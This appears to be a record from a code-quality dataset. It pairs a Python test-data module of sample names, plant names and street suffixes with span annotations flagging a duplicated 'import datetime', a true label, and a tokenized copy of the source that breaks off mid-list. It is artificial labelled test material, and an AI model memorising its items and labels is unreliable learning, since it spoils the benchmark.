\"Coleman\",\n\"Refugio\", \"Dino\", \"Osvaldo\", \"Les\", \"Deandre\", \"Normand\", \"Kieth\", \"Ivory\",\n\"Andrea\", \"Trey\", \"Norberto\", \"Napoleon\", \"Jerold\", \"Fritz\", \"Rosendo\",\n\"Milford\", \"Sang\", \"Deon\", \"Christope\", \"Alfonzo\", \"Lyman\", \"Josiah\", \"Brant\",\n\"Wilton\", \"Rico\", \"Jamaal\", \"Dewitt\", \"Carol\", \"Brenton\", \"Yong\", \"Olin\",\n\"Foster\", \"Faustino\", \"Claudio\", \"Judson\", \"Gino\", \"Edgardo\", \"Berry\", \"Alec\",\n\"Tanner\", \"Jarred\", \"Donn\", \"Trinidad\", \"Tad\", \"Shirley\", \"Prince\", \"Porfirio\",\n\"Odis\", \"Maria\", \"Lenard\", \"Chauncey\", \"Chang\", \"Tod\", \"Mel\", \"Marcelo\", \"Kory\",\n\"Augustus\", \"Keven\", \"Hilario\", \"Bud\", \"Sal\", \"Rosario\", \"Orval\", \"Mauro\",\n\"Dannie\", \"Zachariah\", \"Olen\", \"Anibal\", \"Milo\", \"Jed\", \"Frances\", \"Thanh\",\n\"Dillon\", \"Amado\", \"Newton\", \"Connie\", \"Lenny\", \"Tory\", \"Richie\", \"Lupe\",\n\"Horacio\", \"Brice\", \"Mohamed\", \"Delmer\", \"Dario\", \"Reyes\", \"Dee\", \"Mac\",\n\"Jonah\", \"Jerrold\", \"Robt\", \"Hank\", \"Sung\", \"Rupert\", \"Rolland\", \"Kenton\",\n\"Damion\", \"Chi\", \"Antone\", \"Waldo\", \"Fredric\", \"Bradly\", \"Quinn\", \"Kip\", \"Burl\",\n\"Walker\", \"Tyree\", \"Jefferey\", \"Ahmed\", \"Willy\", \"Stanford\", \"Oren\", \"Noble\",\n\"Moshe\", \"Mikel\", \"Enoch\", \"Brendon\", \"Quintin\", \"Jamison\", \"Florencio\",\n\"Darrick\", \"Tobias\", \"Minh\", \"Hassan\", \"Giuseppe\", \"Demarcus\", \"Cletus\",\n\"Tyrell\", \"Lyndon\", \"Keenan\", \"Werner\", \"Theo\", \"Geraldo\", \"Lou\", \"Columbus\",\n\"Chet\", \"Bertram\", \"Markus\", \"Huey\", \"Hilton\", \"Dwain\", \"Donte\", \"Tyron\",\n\"Omer\", \"Isaias\", \"Hipolito\", \"Fermin\", \"Chung\", \"Adalberto\", \"Valentine\",\n\"Jamey\", \"Bo\", \"Barrett\", \"Whitney\", \"Teodoro\", \"Mckinley\", \"Maximo\",\n\"Garfield\", \"Sol\", \"Raleigh\", \"Lawerence\", \"Abram\", \"Rashad\", \"King\", \"Emmitt\",\n\"Daron\", \"Chong\", \"Samual\", \"Paris\", \"Otha\", \"Miquel\", \"Lacy\", \"Eusebio\",\n\"Dong\", \"Domenic\", \"Darron\", \"Buster\", \"Antonia\", \"Wilber\", \"Renato\", \"Jc\",\n\"Hoyt\", \"Haywood\", \"Ezekiel\", \"Chas\", \"Florentin\", \"Elroy\", \"Clemente\",\n\"Arden\", \"Neville\", \"Kelley\", \"Edison\", \"Deshawn\", \"Carrol\", \"Shayne\",\n\"Nathanial\", \"Jordon\", \"Danilo\", \"Claud\", \"Val\", \"Sherwood\", \"Raymon\",\n\"Rayford\", \"Cristobal\", \"Ambrose\", \"Titus\", \"Hyman\", \"Felton\", \"Ezequiel\",\n\"Erasmo\", \"Stanton\", \"Lonny\", \"Len\", \"Ike\", \"Milan\", \"Lino\", \"Jarod\", \"Herb\",\n\"Andreas\", \"Walton\", \"Rhett\", \"Palmer\", \"Jude\", \"Douglass\", \"Cordell\",\n\"Oswaldo\", \"Ellsworth\", \"Virgilio\", \"Toney\", \"Nathanael\", \"Del\", \"Britt\",\n\"Benedict\", \"Mose\", \"Hong\", \"Leigh\", \"Johnson\", \"Isreal\", \"Gayle\", \"Garret\",\n\"Fausto\", \"Asa\", \"Arlen\", \"Zack\", \"Warner\", \"Modesto\", \"Francesco\", \"Manual\",\n\"Jae\", \"Gaylord\", \"Gaston\", \"Filiberto\", \"Deangelo\", \"Michale\", \"Granville\",\n\"Wes\", \"Malik\", \"Zackary\", \"Tuan\", \"Nicky\", \"Eldridge\", \"Cristophe\", \"Cortez\",\n\"Antione\", \"Malcom\", \"Long\", \"Korey\", \"Jospeh\", \"Colton\", \"Waylon\", \"Von\",\n\"Hosea\", \"Shad\", \"Santo\", \"Rudolf\", \"Rolf\", \"Rey\", \"Renaldo\", \"Marcellus\",\n\"Lucius\", \"Lesley\", \"Kristofer\", \"Boyce\", \"Benton\", \"Man\", \"Kasey\", \"Jewell\",\n\"Hayden\", \"Harland\", \"Arnoldo\", \"Rueben\", \"Leandro\", \"Kraig\", \"Jerrell\",\n\"Jeromy\", \"Hobert\", \"Cedrick\", \"Arlie\", \"Winford\", \"Wally\", \"Patricia\",\n\"Luigi\", \"Keneth\", \"Jacinto\", \"Graig\", \"Franklyn\", \"Edmundo\", \"Sid\", \"Porter\",\n\"Leif\", \"Lauren\", \"Jeramy\", \"Elisha\", \"Buck\", \"Willian\", \"Vincenzo\", \"Shon\",\n\"Michal\", \"Lynwood\", \"Lindsay\", \"Jewel\", \"Jere\", \"Hai\", \"Elden\", \"Dorsey\",\n\"Darell\", \"Broderick\", \"Alonso\"]\n\nRANDOM_PLANT_NAME_SOURCE = [\"Abelia\", \"Acacia\", \"Acer\", \"Acevedo\", \"Afra\", \"Akina\",\n\"Alaleh\", \"Alani\", \"Alder\", \"Almond\", \"Althea \", \"Alyssum\", \"Amaranta\", \"Amaryllis\",\n\"Anita\", \"Apricot\", \"Arousa\", \"Arusa\", \"Ash\", \"Aspen \", \"Aster\", \"Astera\", \"Avishan\",\n\"Ayame\", \"Ayla\", \"Azalea\", \"Azargol\", \"Azargoon\", \"Azarin\", \"Azhand\", \"Babuk\",\n\"Bahar\", \"Baharak\", \"Banafsheh\", \"Barnacle\", \"Basil\", \"Bay\", \"Beech\", \"Begonia\",\n\"Belladonna\", \"Birch\", \"Blackberry\", \"Blossom\", \"Bluebell \", \"Booker\", \"Botan\",\n\"Bramble\", \"Bryony\", \"Bud\", \"Burke \", \"Buttercup\", \"Cactus\", \"Caltha\", \"Camelai\",\n\"Camellia\", \"Carnation\", \"Cedar\", \"Cherise\", \"Cherry\", \"Cinnamon\", \"Cliantha\",\n\"Clover\", \"Cosmos\", \"Cyclamen\", \"Cypress\", \"Daffodil\", \"Dahlia\", \"Daisy\", \"Dandelion\",\n\"Daphne\", \"Dianthe\", \"Dianthus\", \"Enola \", \"Eranthe\", \"Fern\", \"Fiorenza\", \"Fleur\",\n\"Fern\", \"Fiorenza\", \"Fleur\", \"Flora\", \"Freesia\", \"Fuchsia\", \"Gardenia\", \"Garland\",\n\"Gazania\", \"Geranium\", \"Ginger\", \"Gooseberry\", \"Gul\", \"Hawthorne\", \"Hazel\", \"Holly\",\n\"Hollyhock\", \"Honeysuckle\", \"Hyacinth\", \"Iris \", \"Ivy\", \"Jacaranda\", \"Jasmine\",\n\"Jessamine\", \"Juniper\", \"Kalei\", \"Lantana\", \"Laurel\", \"Leilani\", \"Licorice \",\n\"Lilac\", \"Lily \", \"Lobelia\", \"Lotus\", \"Magnolia\", \"Mallow \", \"Mandrake\", \"Maple\",\n\"Marguerite\", \"Marigold\", \"Mayflower\", \"Miki\", \"Mimosa\", \"Mulberry\", \"Myrtle \",\n\"Nihal\", \"Olive\", \"Pansy \", \"Patience\", \"Peach\", \"Peony\", \"Peppermint\", \"Periwinkle\",\n\"Persimmon\", \"Petunia\", \"Pimpernel\", \"Poppy\", \"Posey\", \"Primrose\", \"Pumpkin\",\n\"Quince\", \"Rose\", \"Rosemary\", \"Saffron\", \"Sage\", \"Shamrock\", \"Snapdragon\",\n\"Snowdrop\", \"Sorrel\", \"Sunflower\", \"Sweet Pea\", \"Tansy \", \"Thistle\", \"Tiger-lily\",\n\"Truffle\", \"Tulip\", \"Verbena \", \"Violet\", \"Willow\", \"Yasaman\", \"Yasmin\", \"Yasminah\",\n\"Yew\", \"Zara\"]\n\nRANDOM_STREET_SUFFIX_SOURCE = [\"St.\", \"Ave.\", \"Blvd.\", \"Ln.\", \"Ct.\", \"Pl.\", \"Way\"]\n\nRANDOM_EMAIL_DOMAINS = [\"example.com\", \"example.net\", \"example.org\"]\n # \"gmail.com\", \"yahoo.com\", \"hotmail.com\", \"live.com\",\n # \"comcast.net\", \"qwest.com\",\n\nRANDOM_CITY_SUFFIX_SOURCE = [\"ville\", \"berg\", \"ton\", \"y\", \"\", \"land\"]\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import datetime", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 15 } ]
[ { "span": "import datetime", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 15 } ]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "more_", "than_", "once_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", ":", "copyr", "ight", ":", " ", "(", "c", ")", " ", "2014", " ", "Building", " ", "Energ", "y", " ", "Inc", "\\", "10", ";", ":", "license", ":", " ", "see", " ", "LICENSE", " ", "for", " ", "more", " ", "deta", "il", "s", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "webd", "esi", "gn_", "import_", "lore", "m", "\\u", "ips", "um_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "decimal_", "import_", "getcon", "text_", ",_", "Decimal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "getcon", "text_", "(_", ")_", "._", "prec_", "=_", "7_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "localf", "lav", "or_", "._", "us_", "._", "us", "\\u", "states_", "import_", "STATE", "\\u", "CHOICES_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "csv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tempfile_", "import_", "Name", "d", "Tempora", "ry", "File_", ",_", "mkdtemp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "files_", "import_", "File_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "data\\u", "importer_", "._", "models_", "import_", "Import", "Record_", ",_", "Import", "File_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "test_", "import_", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "RANDOM", "\\u", "NAME", "\\u", "SOURCE_", "=_", "[_", "\"", "At", "ric", "ia", "\"_", ",_", "\"", "Lin", "da", "\"_", ",_", "\"", "Bar", "bar", "a", "\"_", ",_", "\"", "Eli", "zab", "eth", "\"_", ",_", "\"", "Jen", "nif", "er", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mari", "a", "\"_", ",_", "\"", "Sus", "an", "\"_", ",_", "\"", "Marg", "are", "t", "\"_", ",_", "\"", "Dor", "oth", "y", "\"_", ",_", "\"", "Lis", "a", "\"_", ",_", "\"", "Nan", "cy", "\"_", ",_", "\"", "Kar", "en", "\"_", ",_", "\"", "Bet", "ty", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Hel", "en", "\"_", ",_", "\"", "Sand", "ra", "\"_", ",_", "\"", "Don", "na", "\"_", ",_", "\"", "Carol", "\"_", ",_", "\"", "Ru", "th", "\"_", ",_", "\"", "Shar", "on", "\"_", ",_", "\"", "Mich", "elle", "\"_", ",_", "\"", "Lau", "ra", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Sar", "ah", "\"_", ",_", "\"", "Ki", "mber", "ly", "\"_", ",_", "\"", "Deb", "ora", "h", "\"_", ",_", "\"", "Je", "ssi", "ca", "\"_", ",_", "\"", "Shi", "rle", "y", "\"_", ",_", "\"", "Cy", "nth", "ia", "\"_", ",_", "\"", "Angel", "a", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mel", "issa", "\"_", ",_", "\"", "Bre", "nda", "\"_", ",_", "\"", "Am", "y", "\"_", ",_", "\"", "Ann", "a", "\"_", ",_", "\"", "Reb", "ecc", "a", "\"_", ",_", "\"", "Vir", "gini", "a", "\"_", ",_", "\"", "Kat", "hle", "en", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Pa", "mel", "a", "\"_", ",_", "\"", "Mart", "ha", "\"_", ",_", "\"", "Deb", "ra", "\"_", ",_", "\"", "Ama", "nda", "\"_", ",_", "\"", "Step", "han", "ie", "\"_", ",_", "\"", "Carol", "yn", "\"_", ",_", "\"", "Christ", "ine", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mari", "e", "\"_", ",_", "\"", "Jan", "et", "\"_", ",_", "\"", "Cat", "heri", "ne", "\"_", ",_", "\"", "France", "s", "\"_", ",_", "\"", "Ann", "\"_", ",_", "\"", "Joy", "ce", "\"_", ",_", "\"", "Dia", "ne", "\"_", ",_", "\"", "Ali", "ce", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Juli", "e", "\"_", ",_", "\"", "Heat", "her", "\"_", ",_", "\"", "Ter", "esa", "\"_", ",_", "\"", "Dor", "is", "\"_", ",_", "\"", "Glo", "ria", "\"_", ",_", "\"", "Eve", "ly", "n", "\"_", ",_", "\"", "Je", "an", "\"_", ",_", "\"", "Che", "ry", "l", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mil", "dre", "d", "\"_", ",_", "\"", "Kat", "heri", "ne", "\"_", ",_", "\"", "Jo", "an", "\"_", ",_", "\"", "As", "hle", "y", "\"_", ",_", "\"", "Jud", "ith", "\"_", ",_", "\"", "Rose", "\"_", ",_", "\"", "Jan", "ice", "\"_", ",_", "\"", "Kel", "ly", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Nic", "ole", "\"_", ",_", "\"", "Jud", "y", "\"_", ",_", "\"", "Christ", "ina", "\"_", ",_", "\"", "Kat", "hy", "\"_", ",_", "\"", "There", "sa", "\"_", ",_", "\"", "Be", "ver", "ly", "\"_", ",_", "\"", "Den", "ise", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Tam", "my", "\"_", ",_", "\"", "Ir", "ene", "\"_", ",_", "\"", "Jan", "e", "\"_", ",_", "\"", "Lor", "i", "\"_", ",_", "\"", "Rac", "hel", "\"_", ",_", "\"", "Mari", "ly", "n", "\"_", ",_", "\"", "Andre", "a", "\"_", ",_", "\"", "Kat", "hr", "yn", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lou", "ise", "\"_", ",_", "\"", "Sar", "a", "\"_", ",_", "\"", "Ann", "e", "\"_", ",_", "\"", "Ja", "cq", "uel", "in", "\"_", ",_", "\"", "Wan", "da", "\"_", ",_", "\"", "Bon", "nie", "\"_", ",_", "\"", "Juli", "a", "\"_", ",_", "\"", "Rub", "y", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lo", "is", "\"_", ",_", "\"", "Tin", "a", "\"_", ",_", "\"", "Phy", "lli", "s", "\"_", ",_", "\"", "Norm", "a", "\"_", ",_", "\"", "Paul", "a", "\"_", ",_", "\"", "Dia", "na", "\"_", ",_", "\"", "Ann", "ie", "\"_", ",_", "\"", "Lil", "lian", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Emi", "ly", "\"_", ",_", "\"", "Rob", "in", "\"_", ",_", "\"", "Pe", "gg", "y", "\"_", ",_", "\"", "Cry", "stal", "\"_", ",_", "\"", "Gla", "dy", "s", "\"_", ",_", "\"", "Ri", "ta", "\"_", ",_", "\"", "Da", "wn", "\"_", ",_", "\"", "Con", "nie", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Flor", "ence", "\"_", ",_", "\"", "Trac", "y", "\"_", ",_", "\"", "Ed", "na", "\"_", ",_", "\"", "Tif", "fan", "y", "\"_", ",_", "\"", "Car", "men", "\"_", ",_", "\"", "Ros", "a", "\"_", ",_", "\"", "Cin", "dy", "\"_", ",_", "\"", "Gra", "ce", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Wen", "dy", "\"_", ",_", "\"", "Victor", "ia", "\"_", ",_", "\"", "Edit", "h", "\"_", ",_", "\"", "Ki", "m", "\"_", ",_", "\"", "She", "rr", "y", "\"_", ",_", "\"", "Sy", "lv", "ia", "\"_", ",_", "\"", "Jos", "eph", "ine", "\"_", ",_", "\"", "The", "lma", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Shan", "non", "\"_", ",_", "\"", "She", "ila", "\"_", ",_", "\"", "Eth", "el", "\"_", ",_", "\"", "Ell", "en", "\"_", ",_", "\"", "El", "aine", "\"_", ",_", "\"", "Mar", "jor", "ie", "\"_", ",_", "\"", "Carri", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Charl", "ott", "e", "\"_", ",_", "\"", "Mon", "ica", "\"_", ",_", "\"", "Est", "her", "\"_", ",_", "\"", "Paul", "ine", "\"_", ",_", "\"", "Em", "ma", "\"_", ",_", "\"", "Ju", "ani", "ta", "\"_", ",_", "\"", "An", "ita", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Rho", "nda", "\"_", ",_", "\"", "Ha", "zel", "\"_", ",_", "\"", "Amb", "er", "\"_", ",_", "\"", "Eva", "\"_", ",_", "\"", "Deb", "bie", "\"_", ",_", "\"", "Apri", "l", "\"_", ",_", "\"", "Les", "lie", "\"_", ",_", "\"", "Clar", "a", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Luc", "ille", "\"_", ",_", "\"", "Jam", "ie", "\"_", ",_", "\"", "Jo", "anne", "\"_", ",_", "\"", "Ele", "ano", "r", "\"_", ",_", "\"", "Val", "eri", "e", "\"_", ",_", "\"", "Dan", "iel", "le", "\"_", ",_", "\"", "Mega", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ali", "cia", "\"_", ",_", "\"", "Su", "zan", "ne", "\"_", ",_", "\"", "Mich", "ele", "\"_", ",_", "\"", "Ga", "il", "\"_", ",_", "\"", "Bert", "ha", "\"_", ",_", "\"", "Dar", "len", "e", "\"_", ",_", "\"", "Ver", "onic", "a", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Jil", "l", "\"_", ",_", "\"", "Eri", "n", "\"_", ",_", "\"", "Ger", "ald", "ine", "\"_", ",_", "\"", "Lau", "ren", "\"_", ",_", "\"", "Cat", "hy", "\"_", ",_", "\"", "Jo", "ann", "\"_", ",_", "\"", "Lor", "rain", "e", "\"_", ",_", "\"", "Ly", "nn", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Sal", "ly", "\"_", ",_", "\"", "Regi", "na", "\"_", ",_", "\"", "Eri", "ca", "\"_", ",_", "\"", "Beat", "rice", "\"_", ",_", "\"", "Dol", "ore", "s", "\"_", ",_", "\"", "Bern", "ice", "\"_", ",_", "\"", "Au", "dre", "y", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Yv", "onn", "e", "\"_", ",_", "\"", "Ann", "ette", "\"_", ",_", "\"", "Jun", "e", "\"_", ",_", "\"", "Sam", "ant", "ha", "\"_", ",_", "\"", "Mari", "on", "\"_", ",_", "\"", "Dan", "a", "\"_", ",_", "\"", "Sta", "cy", "\"_", ",_", "\"", "Ana", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ren", "ee", "\"_", ",_", "\"", "Id", "a", "\"_", ",_", "\"", "Vi", "via", "n", "\"_", ",_", "\"", "Robert", "a", "\"_", ",_", "\"", "Hol", "ly", "\"_", ",_", "\"", "Bri", "tta", "ny", "\"_", ",_", "\"", "Mel", "ani", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lore", "tta", "\"_", ",_", "\"", "Yo", "land", "a", "\"_", ",_", "\"", "Je", "ane", "tte", "\"_", ",_", "\"", "Lau", "rie", "\"_", ",_", "\"", "Kat", "ie", "\"_", ",_", "\"", "Kr", "iste", "n", "\"_", ",_", "\"", "Van", "essa", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Al", "ma", "\"_", ",_", "\"", "Su", "e", "\"_", ",_", "\"", "El", "sie", "\"_", ",_", "\"", "Bet", "h", "\"_", ",_", "\"", "Je", "anne", "\"_", ",_", "\"", "Vi", "ck", "i", "\"_", ",_", "\"", "Car", "la", "\"_", ",_", "\"", "Tar", "a", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Rose", "mar", "y", "\"_", ",_", "\"", "Ei", "lee", "n", "\"_", ",_", "\"", "Terri", "\"_", ",_", "\"", "Ger", "tru", "de", "\"_", ",_", "\"", "Luc", "y", "\"_", ",_", "\"", "Ton", "ya", "\"_", ",_", "\"", "Ell", "a", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Sta", "ce", "y", "\"_", ",_", "\"", "Wil", "ma", "\"_", ",_", "\"", "Gi", "na", "\"_", ",_", "\"", "Kr", "isti", "n", "\"_", ",_", "\"", "Je", "ssi", "e", "\"_", ",_", "\"", "Nat", "alie", "\"_", ",_", "\"", "Ag", "nes", "\"_", ",_", "\"", "Ver", "a", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Willi", "e", "\"_", ",_", "\"", "Charl", "ene", "\"_", ",_", "\"", "Bes", "sie", "\"_", ",_", "\"", "Del", "ore", "s", "\"_", ",_", "\"", "Mel", "inda", "\"_", ",_", "\"", "Pea", "rl", "\"_", ",_", "\"", "Ar", "len", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mau", "reen", "\"_", ",_", "\"", "Coll", "een", "\"_", ",_", "\"", "All", "ison", "\"_", ",_", "\"", "Tam", "ara", "\"_", ",_", "\"", "Joy", "\"_", ",_", "\"", "Georg", "ia", "\"_", ",_", "\"", "Const", "anc", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lil", "lie", "\"_", ",_", "\"", "Cla", "udi", "a", "\"_", ",_", "\"", "Jack", "ie", "\"_", ",_", "\"", "Marc", "ia", "\"_", ",_", "\"", "Tan", "ya", "\"_", ",_", "\"", "Ne", "lli", "e", "\"_", ",_", "\"", "Min", "nie", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mar", "len", "e", "\"_", ",_", "\"", "Hei", "di", "\"_", ",_", "\"", "Gl", "enda", "\"_", ",_", "\"", "Ly", "dia", "\"_", ",_", "\"", "Vio", "la", "\"_", ",_", "\"", "Cour", "tne", "y", "\"_", ",_", "\"", "Mari", "an", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ste", "lla", "\"_", ",_", "\"", "Carol", "ine", "\"_", ",_", "\"", "Dor", "a", "\"_", ",_", "\"", "Jo", "\"_", ",_", "\"", "Vi", "ck", "ie", "\"_", ",_", "\"", "Matt", "ie", "\"_", ",_", "\"", "Ter", "ry", "\"_", ",_", "\"", "Max", "ine", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ir", "ma", "\"_", ",_", "\"", "Ma", "bel", "\"_", ",_", "\"", "Mars", "ha", "\"_", ",_", "\"", "My", "rtl", "e", "\"_", ",_", "\"", "Len", "a", "\"_", ",_", "\"", "Christ", "y", "\"_", ",_", "\"", "Dea", "nna", "\"_", ",_", "\"", "Pat", "sy", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Hi", "lda", "\"_", ",_", "\"", "Gw", "endo", "ly", "n", "\"_", ",_", "\"", "Jen", "nie", "\"_", ",_", "\"", "Nor", "a", "\"_", ",_", "\"", "Marg", "ie", "\"_", ",_", "\"", "Nin", "a", "\"_", ",_", "\"", "Cass", "andra", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lea", "h", "\"_", ",_", "\"", "Pen", "ny", "\"_", ",_", "\"", "Ka", "y", "\"_", ",_", "\"", "Pri", "sci", "lla", "\"_", ",_", "\"", "Na", "omi", "\"_", ",_", "\"", "Carol", "e", "\"_", ",_", "\"", "Brand", "y", "\"_", ",_", "\"", "Ol", "ga", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Bill", "ie", "\"_", ",_", "\"", "Dia", "nne", "\"_", ",_", "\"", "Trace", "y", "\"_", ",_", "\"", "Leo", "na", "\"_", ",_", "\"", "Jen", "ny", "\"_", ",_", "\"", "Fel", "icia", "\"_", ",_", "\"", "Son", "ia", "\"_", ",_", "\"", "Mir", "iam", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Vel", "ma", "\"_", ",_", "\"", "Be", "ck", "y", "\"_", ",_", "\"", "Bob", "bie", "\"_", ",_", "\"", "Vio", "let", "\"_", ",_", "\"", "Kr", "isti", "na", "\"_", ",_", "\"", "Ton", "i", "\"_", ",_", "\"", "Mis", "ty", "\"_", ",_", "\"", "Ma", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Shel", "ly", "\"_", ",_", "\"", "Da", "isy", "\"_", ",_", "\"", "Ram", "ona", "\"_", ",_", "\"", "She", "rri", "\"_", ",_", "\"", "Eri", "ka", "\"_", ",_", "\"", "Kat", "rin", "a", "\"_", ",_", "\"", "Cla", "ire", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Lin", "dse", "y", "\"_", ",_", "\"", "Lin", "dsa", "y", "\"_", ",_", "\"", "Gene", "va", "\"_", ",_", "\"", "Gua", "dal", "upe", "\"_", ",_", "\"", "Bel", "inda", "\"_", ",_", "\"", "Marg", "arit", "a", "\"_", ",_", "\"", "She", "ry", "l", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cor", "a", "\"_", ",_", "\"", "Fa", "ye", "\"_", ",_", "\"", "Ada", "\"_", ",_", "\"", "Nat", "ash", "a", "\"_", ",_", "\"", "Sa", "bri", "na", "\"_", ",_", "\"", "Is", "abel", "\"_", ",_", "\"", "Marg", "uer", "it", "\"_", ",_", "\"", "Hat", "tie", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Har", "rie", "t", "\"_", ",_", "\"", "Mol", "ly", "\"_", ",_", "\"", "Ce", "cil", "ia", "\"_", ",_", "\"", "Kr", "isti", "\"_", ",_", "\"", "Brand", "i", "\"_", ",_", "\"", "Blan", "che", "\"_", ",_", "\"", "Sand", "y", "\"_", ",_", "\"", "Ros", "ie", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Jo", "anna", "\"_", ",_", "\"", "Ir", "is", "\"_", ",_", "\"", "Eu", "nice", "\"_", ",_", "\"", "Ang", "ie", "\"_", ",_", "\"", "Ine", "z", "\"_", ",_", "\"", "Ly", "nda", "\"_", ",_", "\"", "Made", "line", "\"_", ",_", "\"", "Ame", "lia", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Alb", "erta", "\"_", ",_", "\"", "Gene", "vie", "ve", "\"_", ",_", "\"", "Mon", "ique", "\"_", ",_", "\"", "Jo", "di", "\"_", ",_", "\"", "Jan", "ie", "\"_", ",_", "\"", "Mag", "gie", "\"_", ",_", "\"", "Ka", "yla", "\"_", ",_", "\"", "Son", "ya", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Jan", "\"_", ",_", "\"", "Lee", "\"_", ",_", "\"", "Kr", "isti", "ne", "\"_", ",_", "\"", "Cand", "ace", "\"_", ",_", "\"", "Fan", "nie", "\"_", ",_", "\"", "Mar", "yan", "n", "\"_", ",_", "\"", "Opa", "l", "\"_", ",_", "\"", "Ali", "son", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Yv", "ette", "\"_", ",_", "\"", "Mel", "ody", "\"_", ",_", "\"", "Lu", "z", "\"_", ",_", "\"", "Sus", "ie", "\"_", ",_", "\"", "Oli", "via", "\"_", ",_", "\"", "Flor", "a", "\"_", ",_", "\"", "Shel", "ley", "\"_", ",_", "\"", "Kr", "ist", "y", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ma", "mie", "\"_", ",_", "\"", "Lu", "la", "\"_", ",_", "\"", "Lo", "la", "\"_", ",_", "\"", "Ver", "na", "\"_", ",_", "\"", "Be", "ula", "h", "\"_", ",_", "\"", "Ant", "oin", "ett", "\"_", ",_", "\"", "Cand", "ice", "\"_", ",_", "\"", "Ju", 